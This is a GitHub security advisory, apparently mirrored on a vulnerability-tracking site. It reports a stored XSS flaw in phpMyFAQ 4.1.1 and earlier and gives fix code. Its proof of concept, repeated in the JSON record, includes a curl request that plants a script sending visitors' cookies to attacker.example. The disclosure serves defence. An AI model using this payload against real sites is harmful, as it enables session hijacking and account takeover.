GHSA-F5P7-2C9Q-8896

Vulnerability from github – Published: 2026-05-06 20:18 – Updated: 2026-05-06 20:18
VLAI
Summary
phpMyFAQ has Stored XSS in FAQ Question/Answer via Encode-Decode Bypass of removeAttributes() Sanitization
Details

Summary

The FAQ creation and update endpoints in phpMyFAQ apply FILTER_SANITIZE_SPECIAL_CHARS (which HTML-encodes input), then immediately call html_entity_decode() which reverses the encoding, followed by Filter::removeAttributes() which only strips HTML attributes — not tags. This allows <script>, <iframe>, <object>, and <embed> tags to be stored in the database and rendered unescaped via {{ answer|raw }} and {{ question|raw }} in the Twig template, causing JavaScript execution in every visitor's browser.

Details

Vulnerable code path (FAQ create — FaqController.php):

At line 120, the answer content is filtered:

$content = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);

Filter::filterVar() calls filterSanitizeString() (Filter.php:135-144) which applies htmlspecialchars(), converting <script> to &lt;script&gt;. The regex /\x00|<[^>]*>?/ then finds no literal angle brackets to strip.

At lines 150-154, the encoded content is decoded and passed to attribute-only sanitization:

->setAnswer(Filter::removeAttributes(html_entity_decode(
    (string) $content,
    ENT_QUOTES | ENT_HTML5,
    encoding: 'UTF-8',
)))

html_entity_decode() converts &lt;script&gt; back to <script>, fully reversing the earlier sanitization. Filter::removeAttributes() (Filter.php:150-196) only matches and strips attribute=value patterns from a known list of HTML attributes (event handlers like onclick, onerror, etc.) but performs no tag-level filtering. A <script> tag with no attributes passes through completely unchanged.

The identical pattern exists in the update endpoint at lines 389-398.

Rendering sink (faq.twig):

<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>
<article class="pmf-faq-body pb-4 mb-4 border-bottom">{{ answer|raw }}</article>

The |raw filter disables Twig's auto-escaping, causing the stored <script> tag to execute in every visitor's browser.

Additional rendering sinks exist in search.twig (line 75, 77) where search results also render FAQ content with |raw.

PoC

Prerequisites: Authenticated session with FAQ_ADD permission and a valid CSRF token.

Step 1: Create a malicious FAQ

curl -X POST 'https://target/admin/api/faq/create' \
  -H 'Cookie: PHPSESSID=<admin_session>' \
  -H 'Content-Type: application/json' \
  -d '{
    "data": {
      "pmf-csrf-token": "<valid_csrf_token>",
      "question": "Harmless FAQ Title",
      "answer": "Helpful content<script>fetch(\"https://attacker.example/steal?c=\"+document.cookie)</script>",
      "categories[]": 1,
      "lang": "en",
      "tags": "",
      "active": "yes",
      "sticky": "no",
      "keywords": "test",
      "author": "Admin",
      "email": "admin@example.com",
      "comment": "n",
      "changed": "Initial",
      "notes": "",
      "serpTitle": "Harmless FAQ",
      "serpDescription": "Test",
      "openQuestionId": 0,
      "notifyEmail": "",
      "notifyUser": "",
      "recordDateHandling": "updateDate"
    }
  }'

Expected response: 200 OK with the new FAQ ID.

Step 2: Verify XSS execution

Navigate to the public FAQ page (e.g., https://target/content/1/{faqId}/en/harmless-faq-title.html). The <script> tag in the answer body executes, sending the visitor's cookies to the attacker's server.

Impact

  • Session hijacking: An attacker with FAQ creation privileges can steal session cookies from any user (including administrators) who views the FAQ, enabling full account takeover.
  • Phishing: The injected script can modify page content to display fake login forms or redirect users to malicious sites.
  • Worm propagation: If the attacker captures an admin session, they can create additional malicious FAQs automatically, spreading the attack.
  • Scope: Every unauthenticated visitor who views the compromised FAQ is affected. The XSS also fires in search results via search.twig.

Recommended Fix

Replace the encode→decode→removeAttributes chain with a proper HTML sanitizer that operates on the DOM level. Use a library like HTML Purifier or Symfony's HtmlSanitizer component.

Immediate fix — add tag-level filtering to removeAttributes() (Filter.php):

public static function removeAttributes(string $html = ''): string
{
    // Strip dangerous HTML tags entirely
    $dangerousTags = ['script', 'iframe', 'object', 'embed', 'applet', 'form', 'base', 'link', 'meta'];
    foreach ($dangerousTags as $tag) {
        $html = preg_replace('/<' . $tag . '\b[^>]*>.*?<\/' . $tag . '>/is', '', $html);
        $html = preg_replace('/<' . $tag . '\b[^>]*\/?>/is', '', $html);
    }

    // Also sanitize javascript: URIs in href/src attributes
    $html = preg_replace('/\b(href|src)\s*=\s*["\']?\s*javascript:/i', '$1="', $html);

    $keep = [
        'href', 'src', 'title', 'alt', 'class', 'style', 'id',
        'name', 'size', 'dir', 'rel', 'rev', 'target', 'width',
        'height', 'controls',
    ];
    // ... rest of existing attribute removal logic

Recommended long-term fix: Replace custom sanitization with Symfony's HtmlSanitizer, which is already a project dependency ecosystem:

use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;

$config = (new HtmlSanitizerConfig())
    ->allowSafeElements()
    ->blockElement('script')
    ->blockElement('iframe')
    ->blockElement('object')
    ->blockElement('embed');

$sanitizer = new HtmlSanitizer($config);
$cleanAnswer = $sanitizer->sanitize($rawAnswer);
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T20:18:02Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe FAQ creation and update endpoints in phpMyFAQ apply `FILTER_SANITIZE_SPECIAL_CHARS` (which HTML-encodes input), then immediately call `html_entity_decode()` which reverses the encoding, followed by `Filter::removeAttributes()` which only strips HTML attributes \u2014 not tags. This allows `\u003cscript\u003e`, `\u003ciframe\u003e`, `\u003cobject\u003e`, and `\u003cembed\u003e` tags to be stored in the database and rendered unescaped via `{{ answer|raw }}` and `{{ question|raw }}` in the Twig template, causing JavaScript execution in every visitor\u0027s browser.\n\n## Details\n\n**Vulnerable code path (FAQ create \u2014 `FaqController.php`):**\n\nAt line 120, the answer content is filtered:\n```php\n$content = Filter::filterVar($data-\u003eanswer, FILTER_SANITIZE_SPECIAL_CHARS);\n```\n\n`Filter::filterVar()` calls `filterSanitizeString()` (`Filter.php:135-144`) which applies `htmlspecialchars()`, converting `\u003cscript\u003e` to `\u0026lt;script\u0026gt;`. The regex `/\\x00|\u003c[^\u003e]*\u003e?/` then finds no literal angle brackets to strip.\n\nAt lines 150-154, the encoded content is decoded and passed to attribute-only sanitization:\n```php\n-\u003esetAnswer(Filter::removeAttributes(html_entity_decode(\n    (string) $content,\n    ENT_QUOTES | ENT_HTML5,\n    encoding: \u0027UTF-8\u0027,\n)))\n```\n\n`html_entity_decode()` converts `\u0026lt;script\u0026gt;` back to `\u003cscript\u003e`, fully reversing the earlier sanitization. `Filter::removeAttributes()` (`Filter.php:150-196`) only matches and strips `attribute=value` patterns from a known list of HTML attributes (event handlers like `onclick`, `onerror`, etc.) but performs **no tag-level filtering**. A `\u003cscript\u003e` tag with no attributes passes through completely unchanged.\n\nThe identical pattern exists in the update endpoint at lines 389-398.\n\n**Rendering sink (`faq.twig`):**\n\n```twig\n\u003ch2 class=\"mb-4 border-bottom\"\u003e{{ question | raw }}\u003c/h2\u003e\n\u003carticle class=\"pmf-faq-body pb-4 mb-4 border-bottom\"\u003e{{ answer|raw }}\u003c/article\u003e\n```\n\nThe `|raw` filter disables Twig\u0027s auto-escaping, causing the stored `\u003cscript\u003e` tag to execute in every visitor\u0027s browser.\n\nAdditional rendering sinks exist in `search.twig` (line 75, 77) where search results also render FAQ content with `|raw`.\n\n## PoC\n\n**Prerequisites:** Authenticated session with `FAQ_ADD` permission and a valid CSRF token.\n\n**Step 1: Create a malicious FAQ**\n```bash\ncurl -X POST \u0027https://target/admin/api/faq/create\u0027 \\\n  -H \u0027Cookie: PHPSESSID=\u003cadmin_session\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"data\": {\n      \"pmf-csrf-token\": \"\u003cvalid_csrf_token\u003e\",\n      \"question\": \"Harmless FAQ Title\",\n      \"answer\": \"Helpful content\u003cscript\u003efetch(\\\"https://attacker.example/steal?c=\\\"+document.cookie)\u003c/script\u003e\",\n      \"categories[]\": 1,\n      \"lang\": \"en\",\n      \"tags\": \"\",\n      \"active\": \"yes\",\n      \"sticky\": \"no\",\n      \"keywords\": \"test\",\n      \"author\": \"Admin\",\n      \"email\": \"admin@example.com\",\n      \"comment\": \"n\",\n      \"changed\": \"Initial\",\n      \"notes\": \"\",\n      \"serpTitle\": \"Harmless FAQ\",\n      \"serpDescription\": \"Test\",\n      \"openQuestionId\": 0,\n      \"notifyEmail\": \"\",\n      \"notifyUser\": \"\",\n      \"recordDateHandling\": \"updateDate\"\n    }\n  }\u0027\n```\n\n**Expected response:** `200 OK` with the new FAQ ID.\n\n**Step 2: Verify XSS execution**\n\nNavigate to the public FAQ page (e.g., `https://target/content/1/{faqId}/en/harmless-faq-title.html`). The `\u003cscript\u003e` tag in the answer body executes, sending the visitor\u0027s cookies to the attacker\u0027s server.\n\n## Impact\n\n- **Session hijacking:** An attacker with FAQ creation privileges can steal session cookies from any user (including administrators) who views the FAQ, enabling full account takeover.\n- **Phishing:** The injected script can modify page content to display fake login forms or redirect users to malicious sites.\n- **Worm propagation:** If the attacker captures an admin session, they can create additional malicious FAQs automatically, spreading the attack.\n- **Scope:** Every unauthenticated visitor who views the compromised FAQ is affected. The XSS also fires in search results via `search.twig`.\n\n## Recommended Fix\n\nReplace the encode\u2192decode\u2192removeAttributes chain with a proper HTML sanitizer that operates on the DOM level. Use a library like [HTML Purifier](http://htmlpurifier.org/) or Symfony\u0027s [HtmlSanitizer](https://symfony.com/doc/current/html_sanitizer.html) component.\n\n**Immediate fix \u2014 add tag-level filtering to `removeAttributes()`** (`Filter.php`):\n\n```php\npublic static function removeAttributes(string $html = \u0027\u0027): string\n{\n    // Strip dangerous HTML tags entirely\n    $dangerousTags = [\u0027script\u0027, \u0027iframe\u0027, \u0027object\u0027, \u0027embed\u0027, \u0027applet\u0027, \u0027form\u0027, \u0027base\u0027, \u0027link\u0027, \u0027meta\u0027];\n    foreach ($dangerousTags as $tag) {\n        $html = preg_replace(\u0027/\u003c\u0027 . $tag . \u0027\\b[^\u003e]*\u003e.*?\u003c\\/\u0027 . $tag . \u0027\u003e/is\u0027, \u0027\u0027, $html);\n        $html = preg_replace(\u0027/\u003c\u0027 . $tag . \u0027\\b[^\u003e]*\\/?\u003e/is\u0027, \u0027\u0027, $html);\n    }\n\n    // Also sanitize javascript: URIs in href/src attributes\n    $html = preg_replace(\u0027/\\b(href|src)\\s*=\\s*[\"\\\u0027]?\\s*javascript:/i\u0027, \u0027$1=\"\u0027, $html);\n\n    $keep = [\n        \u0027href\u0027, \u0027src\u0027, \u0027title\u0027, \u0027alt\u0027, \u0027class\u0027, \u0027style\u0027, \u0027id\u0027,\n        \u0027name\u0027, \u0027size\u0027, \u0027dir\u0027, \u0027rel\u0027, \u0027rev\u0027, \u0027target\u0027, \u0027width\u0027,\n        \u0027height\u0027, \u0027controls\u0027,\n    ];\n    // ... rest of existing attribute removal logic\n```\n\n**Recommended long-term fix:** Replace custom sanitization with Symfony\u0027s HtmlSanitizer, which is already a project dependency ecosystem:\n\n```php\nuse Symfony\\Component\\HtmlSanitizer\\HtmlSanitizer;\nuse Symfony\\Component\\HtmlSanitizer\\HtmlSanitizerConfig;\n\n$config = (new HtmlSanitizerConfig())\n    -\u003eallowSafeElements()\n    -\u003eblockElement(\u0027script\u0027)\n    -\u003eblockElement(\u0027iframe\u0027)\n    -\u003eblockElement(\u0027object\u0027)\n    -\u003eblockElement(\u0027embed\u0027);\n\n$sanitizer = new HtmlSanitizer($config);\n$cleanAnswer = $sanitizer-\u003esanitize($rawAnswer);\n```",
  "id": "GHSA-f5p7-2c9q-8896",
  "modified": "2026-05-06T20:18:02Z",
  "published": "2026-05-06T20:18:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-f5p7-2c9q-8896"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ has Stored XSS in FAQ Question/Answer via Encode-Decode Bypass of removeAttributes() Sanitization"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…